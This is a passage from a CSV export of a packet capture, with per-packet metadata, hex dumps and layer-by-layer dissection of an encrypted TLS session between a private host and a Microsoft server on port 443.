msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\x11os^o\\\\xaa\\\\xd4\\\\xd4\\\\xebR\\\"\"R\\\\xc6y\\\\xff\\\\xc5\\\\xd2#\\\\x84\\\\nZ\\\\xde\\\\xe8\\\\x0c\\\\x9fk\\\\xc3\\\\xd46\\\\xd3\\\\xcb\\\\xdf' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:44.527152,34,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=869425961 Ack=2933371515,bc2411360d0cbc24112907bb080045000028c73040004006dc762863cc220a98980b01bbf9dc33d26329aed7b27b5010003f97430000,\".$.6\n..$.)....E..(.0@.@..v(c.\"\"\n.......3.c)...{P..?.C..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50992, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56438, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869425961, \"\"ack\"\": 2933371515, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38723, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:45.022800,35,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=869425961 Ack=2933371515,bc2411360d0cbc24112907bb0800450001d3c73140004006daca2863cc220a98980b01bbf9dc33d26329aed7b27b5018003f98ee0000160303012e0400012a00008ca00124000000009eed9f92c46849489109b6eacd2b6ccc2693ef453e0f74977d5c50619a031432389680045e86b12dc715a86cd1a22272bdcd8285b8d20aa7603a031bad4e8f7ea5b47b3c20fb7063c70987779b3a5ca9bb96b7313ac9485867145133382c2cd92668d702db291f2124fe20bafba20ccf3744b0b61bcf974178cb463871940840c78e5f7fd5b74367e580e0cf85e3c6449df002f993df738d87a2196d2273d042be00a8cd6dda6b814e40c4b2f710abfbe4104eb9c82cc157b62bd3f59e2de72fa6a21c64d62ea1ca6d3c338e37171d705d1132cb702d5acb92330e9f40638213fc1f4b0223f4e6d8ccc2c86c51d2c93b09fc6eb7897e282d0f664adcc156cb37e3f0913f0c4ad0d80e47d7585f678d5d3ef5d4c784547ffbb79ee92d006e27fa140303000101160303002800000000000000000ed138631ac41fb78540941c1ee45dd8ae86140586ddd7f91eacda0b5135248f17030300400000000000000001d6ecb10e43c9ca825086e256c62519f91cb7a7fc8a07322409433b7cf9b60e4683bb9c23481e77bc6ff26c8e42e6da70c62551b1b5342de5,.....@....].............Q5$.,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 50993, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56010, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869425961, \"\"ack\"\": 2933371515, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 39150, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x9e\\\\xed\\\\x9f\\\\x92\\\\xc4hIH\\\\x91\\\\t\\\\xb6\\\\xea\\\\xcd+l\\\\xcc&\\\\x93\\\\xefE>\\\\x0ft\\\\x97}\\\\\\\\Pa\\\\x9a\\\\x03\\\\x1428\\\\x96\\\\x80\\\\x04^\\\\x86\\\\xb1-\\\\xc7\\\\x15\\\\xa8l\\\\xd1\\\\xa2\\\"\"r\\\\xbd\\\\xcd\\\\x82\\\\x85\\\\xb8\\\\xd2\\\\n\\\\xa7`:\\\\x03\\\\x1b\\\\xadN\\\\x8f~\\\\xa5\\\\xb4{< \\\\xfbpc\\\\xc7\\\\t\\\\x87w\\\\x9b:\\\\\\\\\\\\xa9\\\\xbb\\\\x96\\\\xb71:\\\\xc9HXg\\\\x14Q38,,\\\\xd9&h\\\\xd7\\\\x02\\\\xdb)\\\\x1f!$\\\\xfe \\\\xba\\\\xfb\\\\xa2\\\\x0c\\\\xcf7D\\\\xb0\\\\xb6\\\\x1b\\\\xcf\\\\x97Ax\\\\xcbF8q\\\\x94\\\\x08@\\\\xc7\\\\x8e_\\\\x7f\\\\xd5\\\\xb7Cg\\\\xe5\\\\x80\\\\xe0\\\\xcf\\\\x85\\\\xe3\\\\xc6D\\\\x9d\\\\xf0\\\\x02\\\\xf9\\\\x93\\\\xdfs\\\\x8d\\\\x87\\\\xa2\\\\x19m\\\"\"s\\\\xd0B\\\\xbe\\\\x00\\\\xa8\\\\xcdm\\\\xdak\\\\x81N@\\\\xc4\\\\xb2\\\\xf7\\\\x10\\\\xab\\\\xfb\\\\xe4\\\\x10N\\\\xb9\\\\xc8,\\\\xc1W\\\\xb6+\\\\xd3\\\\xf5\\\\x9e-\\\\xe7/\\\\xa6\\\\xa2\\\\x1cd\\\\xd6.\\\\xa1\\\\xcam<3\\\\x8e7\\\\x17\\\\x1dp]\\\\x112\\\\xcbp-Z\\\\xcb\\\\x923\\\\x0e\\\\x9f@c\\\\x82\\\\x13\\\\xfc\\\\x1fK\\\\x02#\\\\xf4\\\\xe6\\\\xd8\\\\xcc\\\\xc2\\\\xc8lQ\\\\xd2\\\\xc9;\\\\t\\\\xfcn\\\\xb7\\\\x89~(-\\\\x0ffJ\\\\xdc\\\\xc1V\\\\xcb7\\\\xe3\\\\xf0\\\\x91?\\\\x0cJ\\\\xd0\\\\xd8\\\\x0eG\\\\xd7X_g\\\\x8d]>\\\\xf5\\\\xd4\\\\xc7\\\\x84T\\\\x7f\\\\xfb\\\\xb7\\\\x9e\\\\xe9-\\\\x00n\\\\'\\\\xfa' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSServerHelloDone  msgtype=server_hello_done msglen=13711459 |>, <Raw  load=b'\\\\x1a\\\\xc4\\\\x1f\\\\xb7\\\\x85@\\\\x94\\\\x1c\\\\x1e\\\\xe4]\\\\xd8\\\\xae\\\\x86\\\\x14\\\\x05\\\\x86\\\\xdd\\\\xd7\\\\xf9\\\\x1e\\\\xac\\\\xda\\\\x0bQ5$\\\\x8f' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\xd6\\\\xec\\\\xb1\\\\x0eC\\\\xc9\\\\xca\\\\x82P\\\\x86\\\\xe2V\\\\xc6%\\\\x19\\\\xf9\\\\x1c\\\\xb7\\\\xa7\\\\xfc\\\\x8a\\\\x072$\\\\tC;|\\\\xf9\\\\xb6\\\\x0eF\\\\x83\\\\xbb\\\\x9c#H\\\\x1ew\\\\xbco\\\\xf2l\\\\x8eB\\\\xe6\\\\xdap\\\\xc6%Q\\\\xb1\\\\xb54-\\\\xe5' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:45.023090,36,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2933371515 Ack=869426388,bc24112907bbbc2411360d0c08004500002813a24000800650050a98980b2863cc22f9dc01bbaed7b27b33d264d4501003fd1f1d0000,\".$.)...$.6\n...E..(..@...P.\n...(c.\"\".......{3.d.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5026, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20485, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371515, \"\"ack\"\": 869426388, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 7965, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:45.025511,37,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2933371515 Ack=869426388,bc24112907bbbc2411360d0c08004500007f13a3400080064fad0a98980b2863cc22f9dc01bbaed7b27b33d264d4501803fdf8c900001703030052000000000000000165342424dbf4bd54db3138f98d9d99091864339114c4a1354362ad1b52aa154abd8fb2920f82b1cfadce6ec9214da892a7bd8a648ad65c3d494fdb07ffaca3a7bbbd1b65f3f424cc5031,\".$.)...$.6\n...E.....@...O.\n...(c.\"\".......{3.d.P...........R........e4$$...T.18....\t.d3....5Cb..R..J..........n.!M.....d..\\=IO.........e..$.P1\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 5027, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20397, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371515, \"\"ack\"\": 869426388, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 63689, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01e4$$\\\\xdb\\\\xf4\\\\xbdT\\\\xdb18\\\\xf9\\\\x8d\\\\x9d\\\\x99\\\\t\\\\x18d3\\\\x91\\\\x14\\\\xc4\\\\xa15Cb\\\\xad\\\\x1bR\\\\xaa\\\\x15J\\\\xbd\\\\x8f\\\\xb2\\\\x92\\\\x0f\\\\x82\\\\xb1\\\\xcf\\\\xad\\\\xcen\\\\xc9!M\\\\xa8\\\\x92\\\\xa7\\\\xbd\\\\x8ad\\\\x8a\\\\xd6\\\\\\\\=IO\\\\xdb\\\\x07\\\\xff\\\\xac\\\\xa3\\\\xa7\\\\xbb\\\\xbd\\\\x1be\\\\xf3\\\\xf4$\\\\xccP1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:45.025549,38,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=869426388 Ack=2933371602,bc2411360d0cbc24112907bb080045000028c73240004006dc742863cc220a98980b01bbf9dc33d264d4aed7b2d25010003f97430000,\".$.6\n..$.)....E..(.2@.@..t(c.\"\"\n.......3.d.....P..?.C..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50994, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56436, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869426388, \"\"ack\"\": 2933371602, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38723, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:45.025574,39,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2933371602 Ack=869426388,bc24112907bbbc2411360d0c08004500009a13a4400080064f910a98980b2863cc22f9dc01bbaed7b2d233d264d4501803fd54670000170303006d0000000000000002af85e3c614762fbea9b86f4ca85f27e472da9570328ab385c6b306f8932e31d07685ae17c195ca3c4564be45276c58341f3311e6ec82eb1179af4438d1f4023ee615d755a021ae79483dc45a24e6fe80917bbb5893df08f1b2b907cd1424992329416433b6,\".$.)...$.6\n...E.....@...O.\n...(c.\"\"........3.d.P...Tg......m.............v/...oL._'.r..p2.........1.v......<Ed.E'lX4.3......y.D8...>...U.!.yH=.Z$....{.X.........$.#)Ad3.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 154, \"\"id\"\": 5028, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20369, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371602, \"\"ack\"\": 869426388, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 21607, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 109, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xaf\\\\x85\\\\xe3\\\\xc6\\\\x14v/\\\\xbe\\\\xa9\\\\xb8oL\\\\xa8_'\\\\xe4r\\\\xda\\\\x95p2\\\\x8a\\\\xb3\\\\x85\\\\xc6\\\\xb3\\\\x06\\\\xf8\\\\x93.1\\\\xd0v\\\\x85\\\\xae\\\\x17\\\\xc1\\\\x95\\\\xca<Ed\\\\xbeE'lX4\\\\x1f3\\\\x11\\\\xe6\\\\xec\\\\x82\\\\xeb\\\\x11y\\\\xafD8\\\\xd1\\\\xf4\\\\x02>\\\\xe6\\\\x15\\\\xd7U\\\\xa0!\\\\xaeyH=\\\\xc4Z$\\\\xe6\\\\xfe\\\\x80\\\\x91{\\\\xbbX\\\\x93\\\\xdf\\\\x08\\\\xf1\\\\xb2\\\\xb9\\\\x07\\\\xcd\\\\x14$\\\\x99#)Ad3\\\\xb6\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:45.025585,40,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=869426388 Ack=2933371716,bc2411360d0cbc24112907bb080045000028c73340004006dc732863cc220a98980b01bbf9dc33d264d4aed7b3445010003f97430000,\".$.6\n..$.)....E..(.3@.@..s(c.\"\"\n.......3.d....DP..?.C..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50995, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56435, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869426388, \"\"ack\"\": 2933371716, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38723, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:45.025613,41,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2933371716 Ack=869426388,bc24112907bbbc2411360d0c08004500004e13a5400080064fdc0a98980b2863cc22f9dc01bbaed7b34433d264d4501803fd01ac0000170303002100000000000000034a0223479b76ecc7eee27a273532a505cadf27fe4f4aa4eb57,\".$.)...$.6\n...E..N..@...O.\n...(c.\"\".......D3.d.P...........!........J.#G.v....z'52....'.OJ..W\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 5029, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20444, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371716, \"\"ack\"\": 869426388, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 428, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03J\\\\x02#G\\\\x9bv\\\\xec\\\\xc7\\\\xee\\\\xe2z'52\\\\xa5\\\\x05\\\\xca\\\\xdf'\\\\xfeOJ\\\\xa4\\\\xebW\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:45.025617,42,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=869426388 Ack=2933371754,bc2411360d0cbc24112907bb080045000028c73440004006dc722863cc220a98980b01bbf9dc33d264d4aed7b36a5010003f97430000,\".$.6\n..$.)....E..(.4@.@..r(c.\"\"\n.......3.d....jP..?.C..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50996, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56434, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869426388, \"\"ack\"\": 2933371754, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38723, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:45.379026,43,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=869426388 Ack=2933371754,bc2411360d0cbc24112907bb08004500004ec73540004006dc4b2863cc220a98980b01bbf9dc33d264d4aed7b36a5018003f976900001703030021000000000000000251ea2c76f0ae739e4a7316021ffad2f4b98e0db7e5cd51ae72,\".$.6\n..$.)....E..N.5@.@..K(c.\"\"\n.......3.d....jP..?.i......!........Q.,v..s.Js........\n...Q.r\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 50997, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56395, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869426388, \"\"ack\"\": 2933371754, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 38761, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02Q\\\\xea,v\\\\xf0\\\\xaes\\\\x9eJs\\\\x16\\\\x02\\\\x1f\\\\xfa\\\\xd2\\\\xf4\\\\xb9\\\\x8e\\\\r\\\\xb7\\\\xe5\\\\xcdQ\\\\xaer' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:45.379203,44,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2933371754 Ack=869426426,bc24112907bbbc2411360d0c08004500002813a64000800650010a98980b2863cc22f9dc01bbaed7b36a33d264fa501003fc1e090000,\".$.)...$.6\n...E..(..@...P.\n...(c.\"\".......j3.d.P....\t..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5030, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20481, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371754, \"\"ack\"\": 869426426, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1020, \"\"chksum\"\": 7689, 